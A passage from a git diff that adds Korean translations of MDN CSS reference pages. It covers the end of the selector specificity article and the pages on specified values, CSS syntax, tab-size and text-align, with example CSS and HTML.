+ color: blue;
+}
+
+p.awesome {
+ color: red;
+}</pre>
+
+<p>ID를 ID 선택자 대신 속성 선택자로 선택하면 클래스 1개와 같은 명시도가 됩니다. 두 선택자의 명시도가 같아졌으므로 나중에 오는 규칙이 우선합니다.</p>
+
+<h4 id="아래에서_자세한_정보를_확인하세요">아래에서 자세한 정보를 확인하세요:</h4>
+
+<ul>
+ <li><a href="https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css">https://stackoverflow.com/questions/3706819/what-are-the-implications-of-using-important-in-css</a></li>
+ <li><a href="https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean">https://stackoverflow.com/questions/9245353/what-does-important-in-css-mean</a></li>
+ <li><a href="https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css">https://stackoverflow.com/questions/5701149/when-to-use-important-property-in-css</a></li>
+ <li><a href="https://stackoverflow.com/questions/11178673/how-to-override-important">https://stackoverflow.com/questions/11178673/how-to-override-important</a></li>
+ <li><a href="https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css">https://stackoverflow.com/questions/2042497/when-to-use-important-to-save-the-day-when-working-with-css</a></li>
+</ul>
+
+<h3 id="is_및_not_예외"><code>:is()</code> 및 <code>:not()</code> 예외</h3>
+
+<p>모두 일치 의사 클래스 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}} 및 부정 의사 클래스 {{CSSxRef(":not", ":not()")}}은 명시도 계산에서 의사 클래스로 취급되지 <em>않습니다</em>. 그러나 이들 의사 클래스 안에 명시된 선택자는 <a href="#selector-type" title="selector types">선택자 유형</a>의 수를 결정할 때 일반 선택자로 셉니다.</p>
+
+<p>다음 CSS 조각과 HTML은...</p>
+
+<pre class="brush: css">div.outer p {
+ color:orange;
+}
+div:not(.outer) p {
+ color: lime;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+ &lt;p&gt;This is in the outer div.&lt;/p&gt;
+ &lt;div class="inner"&gt;
+ &lt;p&gt;This text is in the inner div.&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...다음과 같이 화면에 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('is_및_not_예외','600','100')}}</p>
+
+<h3 id="The_where_exception" name="The_where_exception"><code>:where()</code> 예외 {{Experimental_Inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>명시도 조정 가상 클래스 {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}}의 명시도는 항상 0입니다.</p>
+
+<p>다음 CSS 조각과 HTML은...</p>
+
+<pre class="brush: css">div:where(.outer) p {
+ color: orange;
+}
+
+div p {
+ color: blueviolet;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css;">#no-where-support {
+ margin: 0.5em;
+ border: 1px solid red;
+}
+
+#no-where-support:where(*) {
+ display: none !important;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;div id="no-where-support"&gt;
+⚠️ Your browser doesn't support the &lt;code&gt;&lt;a href="https://developer.mozilla.org/docs/Web/CSS/:where" target="_top"&gt;:where()&lt;/a&gt;&lt;/code&gt; pseudo-class.
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+ &lt;p&gt;This is in the outer div.&lt;/p&gt;
+ &lt;div class="inner"&gt;
+ &lt;p&gt;This text is in the inner div.&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...다음과 같이 화면에 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('The_where_exception','600','100')}}</p>
+
+<h3 id="형태_기반_명시도">형태 기반 명시도</h3>
+
+<p>명시도는 선택자의 형태(form)를 기반으로 합니다. 아래에서 선택자 <code>*[id="foo"]</code>는 그 자체로는 ID를 선택하지만 선택자의 명시도를 계산할 때는 속성 선택자로 취급됩니다.</p>
+
+<p>다음 스타일 선언과 마크업은...</p>
+
+<pre class="brush: css">*#foo {
+ color: green;
+}
+*[id="foo"] {
+ color: purple;
+}
+</pre>
+
+<pre class="brush: html">&lt;p id="foo"&gt;I am a sample text.&lt;/p&gt;
+</pre>
+
+<p>...다음과 같이 표시됩니다.</p>
+
+<p>{{EmbedLiveSample('형태_기반_명시도','600','100')}}</p>
+
+<p>같은 요소와 일치하지만 ID 선택자는 더 높은 명시도를 갖기 때문입니다.</p>
+
+<h3 id="트리_근접도_무시"><a id="tree-proximity-ignorance" name="tree-proximity-ignorance">트리 근접도 무시</a></h3>
+
+<p>요소와 주어진 선택자로 참조된 다른 요소와의 근접도(proximity)는 명시도에 영향을 주지 않습니다.</p>
+
+<p>다음 스타일 선언과 HTML은...</p>
+
+<pre class="brush: css">body h1 {
+ color: green;
+}
+html h1 {
+ color: purple;
+}
+</pre>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;body&gt;
+ &lt;h1&gt;Here is a title!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>...아래와 같이 렌더링됩니다.</p>
+
+<p>{{EmbedLiveSample('트리_근접도_무시','600','100')}}</p>
+
+<p>두 선언은 <a href="#selector-type">선택자 유형</a> 갯수가 같지만 <code>html h1</code> 선택자가 나중에 선언되었기 때문입니다.</p>
+
+<h3 id="직접_일치_요소와_상속된_스타일"><a id="directly-targeted-elements" name="directly-targeted-elements">직접 일치 요소와 상속된 스타일</a></h3>
+
+<p>특정한 요소와 직접적으로 일치하는 스타일은 상속된 규칙의 명시도와 무관하게 항상 상속된 스타일보다 우선합니다.</p>
+
+<p>다음 CSS와 HTML은...</p>
+
+<pre class="brush: css" style="font-size: 14px;">#parent {
+ color: green;
+}
+h1 {
+ color: purple;
+}</pre>
+
+<pre class="brush: html" style="font-size: 14px;">&lt;html&gt;
+&lt;body id="parent"&gt;
+ &lt;h1&gt;Here is a title!&lt;/h1&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>...역시 아래와 같이 렌더링됩니다.</p>
+
+<p>{{EmbedLiveSample('직접_일치_요소와_상속된_스타일','600','100')}}</p>
+
+<p><code>h1</code> 선택자는 특정한 요소와 직접 일치하지만 초록색 선택자는 그렇지 않고 부모로부터 상속되기 때문입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#specificity-rules", "Calculating a selector's specificity")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>명시도 조정 선택자 {{CSSxRef(":where", ":where()")}} 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#specificity", "Calculating a selector's specificity")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">의사 요소</a> 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html#specificity", "Calculating a selector's specificity")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes">의사 클래스</a> 추가.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1", "#cascading-order", "Cascading order")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>명시도 계산기: CSS 규칙을 테스트하고 이해할 수 있는 대화형 웹사이트 - <a href="https://specificity.keegan.st/">https://specificity.keegan.st/</a></li>
+ <li>CSS3 선택자 명시도 - <a class="external" href="http://www.w3.org/TR/selectors/#specificity" rel="freelink">http://www.w3.org/TR/selectors/#specificity</a></li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/specified_value/index.html b/files/ko/web/css/specified_value/index.html
new file mode 100644
index 0000000000..fd7df79342
--- /dev/null
+++ b/files/ko/web/css/specified_value/index.html
@@ -0,0 +1,67 @@
+---
+title: 지정값
+slug: Web/CSS/specified_value
+tags:
+ - CSS
+ - CSS Reference
+translation_of: Web/CSS/specified_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>지정값</strong>은 세 가지 방법 중 하나로 설정됩니다.</p>
+
+<ol>
+ <li>문서의 스타일시트가 속성값을 지정했다면 그러면 그 값이 사용됩니다. 예를 들어, {{cssxref("color")}} 속성이 <code>green</code> 으로 설정된 경우 대응하는 요소(element)의 텍스트 색은 녹색이 됩니다.</li>
+ <li>문서의 스타일시트가 값을 지정하지 않은 경우 부모 요소로부터 상속됩니다(가능하다면). 예를 들어, {{HTMLElement("div")}} 내부에 단락({{HTMLElement("p")}})이 있고 {{HTMLElement("div")}}의 CSS <code>font</code> 속성값이 "Arial", {{HTMLElement("p")}}가 정의된 <code>font</code> 속성이 없다면 Arial font가 상속됩니다.</li>
+ <li>위 중 어느 것도 이용할 수 없는 경우, CSS 스펙에 지정된 대로 요소의 초기값이 적용됩니다.</li>
+</ol>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;My specified color is given explicitly in the CSS.&lt;/p&gt;
+
+&lt;div&gt;The specified values of all my properties default to their
+ initial values, because none of them are given in the CSS.&lt;/div&gt;
+
+&lt;div class="fun"&gt;
+ &lt;p&gt;The specified value of my font family is not given explicitly
+ in the CSS, so it is inherited from my parent. However,
+ the border is not an inheriting property.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.fun {
+ border: 1px dotted pink;
+ font-family: fantasy;
+}
+
+p {
+ color: green;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 500, 220)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS2.1", "cascade.html#specified-value", "cascaded value")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/syntax/index.html b/files/ko/web/css/syntax/index.html
new file mode 100644
index 0000000000..3f64118f7a
--- /dev/null
+++ b/files/ko/web/css/syntax/index.html
@@ -0,0 +1,79 @@
+---
+title: 구문
+slug: Web/CSS/Syntax
+tags:
+ - CSS
+ - Guide
+ - Reference
+ - Web
+translation_of: Web/CSS/Syntax
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary">종속형 스타일 시트(<a href="/ko/docs/Web/CSS" title="CSS">CSS</a>) 언어의 기본 목표는 브라우저 엔진이 색상, 위치 지정 또는 장식과 같은 특정 기능을 사용하여 페이지에 요소를 그릴 수 있도록 하는 것입니다.</span> 이러한 목표 달성을 위해 만들어진 <em>CSS 구문</em>을 이루고 있는 기본 구성 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>속성</strong>(property)은 {{glossary("identifier", "식별자")}}, 즉 사람이 읽을 수 있는 <em>이름</em>이며 어떠한 CSS 기능을 구현할 것인지 결정합니다.</li>
+ <li><strong>값</strong>(value)은 앞서 지정한 속성이 브라우저에 의해 어떤 식으로 나타나야 할지 기술합니다. 각 속성의 의미적 표현을 형식 문법으로 정의한 유효한 값 집합과 함께 브라우저 엔진이 구현합니다.</li>
+</ul>
+
+<h2 id="CSS_선언">CSS 선언</h2>
+
+<p>CSS 속성을 특정 값으로 설정하는 것은 CSS 언어의 핵심 기능입니다. 속성과 값 쌍은 <strong>선언</strong>(declaration)이라 부르며, 모든 CSS 엔진은 적절하게 요소를 배열하고 스타일을 입히기 위해서 요소 하나하나마다 어떤 선언을 적용할지 계산합니다.</p>
+
+<p>CSS에서는 속성과 값 모두 대소문자를 구분합니다. 속성-값 쌍은 콜론, '<code>:</code>' (<code>U+003A COLON</code>)으로 구분하며 속성과 값 앞, 사이, 뒤에 오는 공백은 무시합니다.</p>
+
+<p><img alt="css syntax - declaration.png" class="default internal" src="/@api/deki/files/6164/=css_syntax_-_declaration.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>CSS는 <a href="/ko/docs/Web/CSS/CSS_Reference" title="/ko/docs/Web/CSS/CSS_Reference">100가지 이상의 속성</a>과 셀 수 없이 많은 값이 있습니다. 속성에 아무 값이나 넣는 것은 허용되지 않고, 대신 속성마다 유효한 값을 정의하고 있습니다. 주어진 속성에 대해 값이 유효하지 않은 경우, 그 선언은 부적합으로 간주하여 CSS 엔진이 완전히 무시합니다.</p>
+
+<h2 id="CSS_선언_블록">CSS 선언 블록</h2>
+
+<p>선언은 <strong>블록 </strong>단위로 이루어져 있습니다. 즉, 여는 중괄호, '<code>{</code>' (<code>U+007B LEFT CURLY BRACKET</code>) 및 닫는 중괄호, '<code>}</code>' (<code>U+007D RIGHT CURLY BRACKET</code>)로 구분된 구조 입니다. 어떤 경우엔 블록을 중첩할 수 있으므로 열고 닫는 중괄호가 서로 맞아야 합니다.</p>
+
+<p><img alt="css syntax - block.png" class="default internal" src="/@api/deki/files/6165/=css_syntax_-_block.png" style="border: 1px solid black; padding: 1em;"></p>
+
+<p>이런 블록은 자연스럽게도 <strong>선언 블록</strong>이라고 부르며, 내부의 선언은 세미콜론, '<code>;</code>' (<code>U+003B SEMICOLON</code>)으로 구분합니다. 선언 블록은 아무런 선언도 들어가지 않은 빈 상태로도 존재할 수 있습니다. 선언 주위의 공백은 무시합니다. 마지막 선언에는 세미콜론을 생략해도 되지만, 다른 선언을 밑에다 덧붙여서 블록을 확장하면서 세미콜론 추가를 잊는 상황을 방지하기 위해 붙여주는 것이 <em>좋은 스타일</em>이라고 생각하는 경우가 자주 있기는 합니다.</p>
+
+<p>CSS 선언 블록을 시각화하면 다음과 같습니다.<img alt="css syntax - declarations block.png" class="default internal" src="https://mdn.mozillademos.org/files/17009/declaration-block.png" style="border: 1px solid black; height: 467px; padding: 1em; width: 1160px;"></p>
+
+<div class="note"><strong>참고:</strong> CSS 선언 블록의 콘텐츠, 즉 여닫는 중괄호 없이 세미콜론으로 분리한 선언 목록은 HTML {{htmlattrxref("style")}} 특성의 값으로 사용할 수 있습니다.</div>
+
+<h2 id="CSS_규칙집합">CSS 규칙집합</h2>
+
+<p>스타일 시트가 선언을 웹 페이지의 요소 하나씩에만 적용할 수 있다면 거의 쓸모가 없을 것입니다. 진짜 목표는 다양한 선언을 문서의 다양한 부분에 적용하는 것입니다.</p>
+
+<p>CSS에서는 선언 블록에 조건을 붙여 해결할 수 있습니다. 각 (유효한) 선언 블록은 페이지의 일부 요소를 선택하는 조건인 선택자(<em>selector</em>)가 선행됩니다. 선택자-선언 블록 쌍은 <strong>규칙집합</strong> 또는 종종 간단히 <strong>규칙</strong>이라고 합니다.</p>
+
+<p><img alt="css syntax - ruleset.png" class="default internal" src="https://mdn.mozillademos.org/files/17010/ruleset.png" style="border: 1px solid black; height: 334px; padding: 1em; width: 861px;"></p>
+
+<p>페이지 요소는 여러 선택자로 그리고 결국 주어진 속성을 서로 다른 값으로 여러 번 포함하는 여러 규칙에 의해 일치될 수 있기에, CSS 표준은 어느 게 다른 것보다 우선하고 적용되어야 하는 지를 정의합니다: 이를 종속(<a href="/ko/docs/Web/CSS/시작하기/종속과_상속" title="Cascading and inheritance">cascade</a>) 알고리즘이라고 합니다.</p>
+
+<div class="note">비록 선택자 그룹에 의해 특징지어진 규칙집합이 규칙집합을 각각 단일 선택자로 대체하는 일종의 단축(shorthand)일지라도, 이는 규칙집합 자체의 유효성에 적용되지는 않는다는 점에 유의하는 것이 중요합니다.<br>
+<br>
+이는 중요한 결과로 이어집니다: 단일 기본 선택자 하나가 무효한 경우, 무명(unknown) 가상 요소(pseudo-element) 또는 가상 클래스(pseudo-class)를 사용할 때처럼, 모든 <em>선택자</em>는 무효하고 따라서 전체 규칙은 무시됩니다(유효하지도 않기에).</div>
+
+<h2 id="CSS_문">CSS 문</h2>
+
+<p>규칙집합은 종종 큰 규칙집합 목록만으로 구성된 스타일 시트의 주요 구성 블록입니다. 하지만 문자 집합, import하려는 다른 외부 스타일 시트, 글꼴 모양 또는 목록 카운터 설명 및 더 많은 것처럼 웹 제작자가 스타일 시트에서 전하고 싶은 다른 정보가 있습니다. 이를 위해 다른 특정 종류의 문을 사용합니다.</p>
+
+<p><strong>문</strong>은 비 공백 문자로 시작하여 첫 번째 닫는 중괄호 또는 세미콜론 (문자열 외에, 이스케이프되지 않고 다른 {}, () 및 [] 쌍에 포함되지 않는) 으로 끝나는 구성 블록입니다.</p>
+
+<p><img alt="css syntax - statements Venn diag.png" class="default internal" src="/@api/deki/files/6168/=css_syntax_-_statements_Venn_diag.png" style="padding: 1em;"></p>
+
+<p>다음과 같은 다른 종류의 문이 있습니다:</p>
+
+<ul>
+ <li>본 것처럼, CSS 선언의 컬렉션과 선택자에 의해 기술된 조건을 연결짓는 <strong>규칙집합</strong> (또는 <em>규칙</em>).</li>
+ <li>at 기호, '<code>@</code>' (<code>U+0040 COMMERCIAL AT</code>)로 시작하고 그런 다음 문의 끝, 즉 블록 밖 다음 세미콜론(;) 또는 다음 블록의 끝까지 계속 식별자가 뒤따르는 <strong>At-규칙</strong>. 식별자에 의해 정의된 각 유형의 <a href="/ko/docs/Web/CSS/At-rule" title="At-rule">at-규칙</a>은, 물론 자체 내부 구문 및 의미(semantics)가 있을 수 있습니다. 그들은 메타 데이터 정보({{ cssxref("@charset") }} 또는 {{ cssxref("@import") }} 같은), 조건부 정보({{ cssxref("@media") }} 또는 {{ cssxref("@document") }} 같은) 또는 설명 정보({{ cssxref("@font-face") }} 같은)를 전달하는 데 사용됩니다.</li>
+</ul>
+
+<p>규칙집합 또는 at-규칙이 아닌 모든 문은 유효하지 않고 무시됩니다.</p>
+
+<p>또 다른 문 그룹, <strong>중첩 문</strong>이 있습니다, 이들은 at-규칙, <em>조건부 그룹 규칙</em>의 특정 부분집합에서 사용될 수 있는 문입니다. 이러한 문은 오직 특정 조건이 일치되면 적용합니다: <code>@media</code> at-규칙 콘텐츠는 브라우저가 돌아가는 장치가 표현된 조건과 일치하는 경우에만 적용됩니다. 반면 <code>@document</code> at-규칙 콘텐츠는 현재 페이지가 일부 조건과 일치하는 경우에만 적용됩니다, 등등. CSS1 및 CSS2.1에서는, <em>규칙집합</em>만이 조건부 그룹 규칙 내에서 사용될 수 있습니다. 그것은 매우 제한됐고 이 제한은 <a href="/ko/docs/Web/CSS/CSS3#Conditionals" title="CSS Conditionals Level 3"><em>CSS Conditionals 레벨 3</em></a>에서 해제되었습니다. 현재, 여전히 실험 중이고 모든 브라우저에서 지원되지는 않지만, 조건부 그룹 규칙은 광범위한 콘텐츠, 규칙집합뿐만 아니라 전부는 아니지만 일부 at-규칙을 포함할 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ko/web/css/tab-size/index.html b/files/ko/web/css/tab-size/index.html
new file mode 100644
index 0000000000..ad29994f53
--- /dev/null
+++ b/files/ko/web/css/tab-size/index.html
@@ -0,0 +1,121 @@
+---
+title: tab-size
+slug: Web/CSS/tab-size
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/tab-size
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>tab-size</code></strong> 속성은 탭 문자(U+0009)의 너비를 조절합니다.</span></p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* &lt;integer&gt; 값 */
+tab-size: 4;
+tab-size: 0;
+
+/* &lt;length&gt; 값 */
+tab-size: 10px;
+tab-size: 2em;
+
+/* 전역 값 */
+tab-size: inherit;
+tab-size: initial;
+tab-size: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;integer&gt;")}}</dt>
+ <dd>공백 문자(U+0020)에 대한 탭 문자의 상대적인 너비. 0 이상의 정수여야 합니다.</dd>
+ <dt>{{CSSxRef("&lt;length&gt;")}}</dt>
+ <dd>탭 문자의 너비. 양의 값이어야 합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="글자_수로_정의">글자 수로 정의</h3>
+
+<pre class="brush: css notranslate">pre {
+ tab-size: 4; /* Set tab size to 4 characters wide */
+}
+</pre>
+
+<h3 id="탭_제거">탭 제거</h3>
+
+<pre class="brush: css notranslate">pre {
+ tab-size: 0; /* Remove indentation */
+}
+</pre>
+
+<h3 id="기본_크기와_비교">기본 크기와 비교</h3>
+
+<p>다음 예제는 기본 탭 크기를 사용자 지정 탭 크기와 비교합니다. {{cssxref("white-space")}} 속성을 <code>pre</code>로 설정해서 탭 문자가 접히지 않도록 했습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;no tab&lt;/p&gt;
+&lt;p&gt;&amp;#0009;default tab size of 8 characters wide&lt;/p&gt;
+&lt;p class="custom"&gt;&amp;#0009;custom tab size of 3 characters wide&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;3 spaces, equivalent to the custom tab size&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+ white-space: pre;
+}
+
+.custom {
+ tab-size: 3;
+ -moz-tab-size: 3;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('기본_크기와_비교')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#tab-size-property', 'tab-size')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.tab-size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="external" href="https://lists.w3.org/Archives/Public/www-style/2008Dec/0009.html"><cite>Controlling size of a tab character (U+0009)</cite></a>, Anne van Kesteren이 CSSWG에 보낸 이메일.</li>
+</ul>
diff --git a/files/ko/web/css/text-align/index.html b/files/ko/web/css/text-align/index.html
new file mode 100644
index 0000000000..630a0c0881
--- /dev/null
+++ b/files/ko/web/css/text-align/index.html
@@ -0,0 +1,234 @@
+---
+title: text-align
+slug: Web/CSS/text-align
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/text-align
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>text-align</code></strong> 속성은 블록 요소나 표의 칸 상자의 가로 정렬을 설정합니다.</span> 즉 {{cssxref("vertical-align")}}과 동일하나 세로가 아닌 가로 방향으로 동작합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-align.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+text-align: left;
+text-align: right;
+text-align: center;
+text-align: justify;
+text-align: justify-all;
+text-align: start;
+text-align: end;
+text-align: match-parent;
+
+/* 표 열의 문자 기반 정렬 */
+text-align: ".";
+text-align: "." center;
+
+/* 블록 정렬 값 (비표준 구문) */
+text-align: -moz-center;
+text-align: -webkit-center;
+
+/* 전역 값 */
+text-align: inherit;
+text-align: initial;
+text-align: unset;
+</pre>
+
+<p><code>text-align</code> 속성은 다음 방법 중 하나를 사용해 지정합니다.</p>
+
+<ul>
+ <li><code><a href="#start">start</a></code>, <code><a href="#end">end</a></code>, <code><a href="#left">left</a></code>, <code><a href="#right">right</a></code>, <code><a href="#center">center</a></code>, <code><a href="#justify">justify</a></code>, <code><a href="#justify-all">justify-all</a></code>, <code><a href="#match-parent">match-parent</a></code> 키워드 중 하나.</li>
+ <li><code><a href="#string">&lt;string&gt;</a></code> 값만 사용. 다른 값은 <code><a href="#right">right</a></code>을 사용하게 됩니다.</li>
+ <li>키워드 값과 <code><a href="#string">&lt;string&gt;</a></code> 값 모두 사용.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="start"><code>start</code> {{experimental_inline}}</dt>
+ <dd>쓰기 방식이 좌횡서면 <code>left</code>와 같고, 우횡서면 <code>right</code>과 같습니다.</dd>
+ <dt id="end"><code>end</code> {{experimental_inline}}</dt>
+ <dd>쓰기 방식이 좌횡서면 <code>right</code>과 같고, 우횡서면 <code>left</code>와 같습니다.</dd>
+ <dt id="left"><code>left</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 왼쪽 모서리로 정렬합니다.</dd>
+ <dt id="right"><code>right</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 오른쪽 모서리로 정렬합니다.</dd>
+ <dt id="center"><code>center</code></dt>
+ <dd>인라인 콘텐츠를 줄 상자의 가운데로 정렬합니다.</dd>
+ <dt id="justify"><code>justify</code></dt>
+ <dd>인라인 콘텐츠를 양쪽 정렬합니다. 마지막 줄을 제외하고, 줄 상자의 왼쪽과 오른쪽 끝에 텍스트를 맞추기 위해 사이 공간을 띄웁니다.</dd>
+ <dt id="justify-all"><code>justify-all</code> {{experimental_inline}}</dt>
+ <dd><code>justify</code>와 같지만 마지막 줄에도 적용합니다.</dd>
+ <dt id="match-parent"><code>match-parent</code> {{experimental_inline}}</dt>
+ <dd><code>inherit</code>과 비슷하지만, <code>start</code>와 <code>end</code> 값을 부모의 {{cssxref("direction")}}에 맞춰 적절한 <code>left</code>와 <code>right</code> 값으로 치환합니다.</dd>
+ <dt id="string">{{cssxref("&lt;string&gt;")}} {{experimental_inline}}</dt>
+ <dd>표 칸에 적용할 경우, 칸의 콘텐츠를 해당 문자에 맞춰 정렬합니다.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>양쪽 정렬 적용 시 생기는 불규칙한 여백은 난독증 등 인지력 저하를 겪고 있는 사용자에게 문제가 될 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html">Understanding Success Criterion 1.4.8 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="왼쪽_정렬">왼쪽 정렬</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+ Integer elementum massa at nulla placerat varius.
+ Suspendisse in libero risus, in interdum massa.
+ Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+ Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+ text-align: left;
+ border: solid;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("왼쪽_정렬","100%","100%")}}</p>
+
+<h3 id="가운데_정렬">가운데 정렬</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+ Integer elementum massa at nulla placerat varius.
+ Suspendisse in libero risus, in interdum massa.
+ Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+ Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+ text-align: center;
+ border: solid;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("가운데_정렬","100%","100%")}}</p>
+
+<h3 id="양쪽_정렬">양쪽 정렬</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="example"&gt;
+ Integer elementum massa at nulla placerat varius.
+ Suspendisse in libero risus, in interdum massa.
+ Vestibulum ac leo vitae metus faucibus gravida ac in neque.
+ Nullam est eros, suscipit sed dictum quis, accumsan a ligula.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css; highlight:[2] notranslate">.example {
+ text-align: justify;
+ border: solid;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("양쪽_정렬","100%","100%")}}</p>
+
